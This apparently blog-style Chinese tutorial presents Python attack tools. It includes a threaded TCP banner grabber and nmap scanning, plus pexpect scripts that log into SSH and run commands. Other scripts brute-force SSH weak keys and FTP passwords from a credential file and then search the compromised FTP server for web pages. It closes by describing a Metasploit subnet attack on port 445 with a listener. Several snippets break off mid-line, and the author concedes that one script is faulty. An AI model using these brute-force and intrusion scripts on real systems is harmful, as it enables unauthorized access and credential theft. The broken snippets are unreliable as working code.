TCP连接扫描、抓取应用的Banner
#coding=utf-8 from socket import * from threading import * #定义一个信号量 screenLock = Semaphore(value=1) def ScanBanner(addr,port): try: conn = socket(AF_INET,SOCK_STREAM) conn.connect((addr,port)) conn.send(bytes("hello lyshark ",encoding="utf-8")) res = conn.recv(200) # 加锁 screenLock.acquire() print("[+] 主机: {} Banner: {}".format(addr,res)) except Exception: # 加锁 screenLock.acquire() print("[-] 主机: {} 不存在或已经关闭.".format(addr)) pass finally: # 执行释放锁的操作 screenLock.release() conn.close() setdefaulttimeout(1) for i in range(0,25): a = "192.168.1.{}".format(i) t = Thread(target=ScanBanner,args=(a,80)) t.start()
使用nmap端口扫描代码
需要 pip install python-nmap
#coding=utf-8
# >>> nm = nmap.PortScanner()
# >>> nm.scan("192.168.1.1-20","21,22,80,45,135","-sV")
# >> nm.scan(hosts="192.168.1.20",arguments="-n -sP -PE -PA21,22,80

用Pexpect与SSH交互
需要先下载Pexpect：pip install pexpect 该工具只能在linux系统中使用，且可以登录ftp等，不局限于ssh
#coding=utf-8 import pexpect from threading import * def SSHConnect(Host,User,Password,Port): PROMPT = ["# ",">>> ","> ","$ "] ssh_newkey = 'Are you sure you want to continue connecting' connStr = 'ssh ' + User + '@' + Host + ' -p ' + Port try: # 为ssh命令生成一个spawn类的对象 child = pexpect.spawn(connStr,timeout=1) # 期望有ssh_newkey字符、提示输入密码的字符出现，否则超时 ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: ']) if ret == 0: return 0 if ret == 1: # 发送yes回应ssh_newkey并期望提示输入密码的字符出现 child.sendline('yes') ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: ']) if ret == 0: return 0 # 发送密码 child.sendline(Password) child.expect(PROMPT) return 1 except Exception: pass return 0 child = SSHConnect("192.168.1.20","root","123","22") print(child)
pexpect 登录执行命令
#-*- coding:UTF-8 -*- import pexpect def ssh(user,host,password,port,command): child = pexpect.spawn('ssh -l %s %s -p %s %s' %(user,host,port,command)) # 0 ： 连接超时 # 1 ：ssh有时候提示你是否确认连接 # 2 ：提示输入密码 # 3 ：匹配到#号，表示命令已经执行完毕 ret = child.expect([pexpect.TIMEOUT, 'Are you sure you want to continue connecting','[Pp]assword:',r"([^-]>|#)"]) if ret == 0: # 连接超时 return 0 elif ret == 1: # SSH提示你是否确认连接 child.sendline ('yes') # 我们输入yes child.expect ('password: ')# 输入yes后应该提示输入密码,我们再次期待 password ret = child.expect([pexpect.TIMEOUT, 'password: ']) if ret == 0: # 连接超时 return 0 ret = child.sendline(password) if ret == 5: child.expect(pexpect.EOF) return child.before return 0 if __name__ =='__main__': try: host='192.168.1.20' user="root" password = '1233' command="ifconfig" child = ssh(user,host,password,"22",command) print(child) except Exception as e: print (e)
用pexpect 暴力破解SSH密码

关于有时，密码失败已经解决了，如下图，这里我就不贴代码了，上面代码有点问题的，自己改改吧。
用pxssh 暴力破解SSH密码

利用SSH中的弱密钥
使用密钥登录ssh时，格式为：ssh user@host -i keyfile -o PasswordAuthentication=no
#!/usr/bin/python #coding=utf-8 import pexpect import optparse import os from threading import * maxConnections = 5 #定义一个有界信号量BoundedSemaphore，在调用release()函数时会检查增加的计数是否超过上限 connection_lock = BoundedSemaphore(value=maxConnections) Stop = False Fails = 0 def connect(host,user,keyfile,release): global Stop global Fails try: perm_denied = 'Permission denied' ssh_newkey = 'Are you sure you want to continue' conn_closed = 'Connection closed by remote host' opt = ' -o PasswordAuthentication=no' connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#', ]) #匹配到ssh_newkey if ret == 2: print '[-] Adding Host to ~/.ssh/known_hosts' child.sendline('yes') connect(user, host, keyfile, False) #匹配到conn_closed elif ret == 3: print '[-] Connection Closed By Remote Host' Fails += 1 #匹配到提示符'$','#', elif ret > 3: print '[+] Success.

使用Ftplib暴力破解FTP用户口令
通过ftplib模块，结合读取含有密码的文件来实现FTP用户口令的破解
#!/usr/bin/python #coding=utf-8 import ftplib def bruteLogin(hostname,passwdFile): pF = open(passwdFile,'r') for line in pF.readlines(): username = line.split(':')[0] password = line.split(':')[1].strip(' ').strip(' ') print '[+] Trying: ' + username + '/' + password try: ftp = ftplib.FTP(hostname) ftp.login(username,password) print ' [*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password ftp.quit() return (username,password) except Exception, e: pass print ' [-] Could not brubrute force FTP credentials.' return (None,None) host = '10.10.10.128' passwdFile = 'ftpBL.txt' bruteLogin(host,passwdFile)
在FTP服务器上搜索网页
有了FTP服务器的登录口令之后，可以进行测试该服务器是否提供Web服务，其中检测通过nlst()列出的每个文件的文件名是不是默认的Web页面文件名，并把找到的所有默认的网页都添加到retList数组中
#!/usr/bin/python #coding=utf-8 import ftplib def returnDefault(ftp): try: #nlst()方法获取目录下的文件 dirList = ftp.nlst() except: dirList = [] print '[-] Could not list directory contents.' print '[-] Skipping To Next Target.' return retList = [] for filename in dirList: #lower()方法将文件名都转换为小写的形式 fn = filename.lower() if '.php' in fn or '.asp' in fn or '.htm' in fn: print '[+] Found default page: '+filename retList.append(filename) return retList host = '10.10.10.130' username = 'ftpuser' password = 'ftppassword' ftp = ftplib.FTP(host) ftp.login(username,password) returnDefault(ftp)
编写Python脚本与Metasploit交互
在findTgts()函数中实现对整个网段的主机445端口的扫描，setupHandler()函数实现目标主机被攻击后进行远程交互的监听器的功能
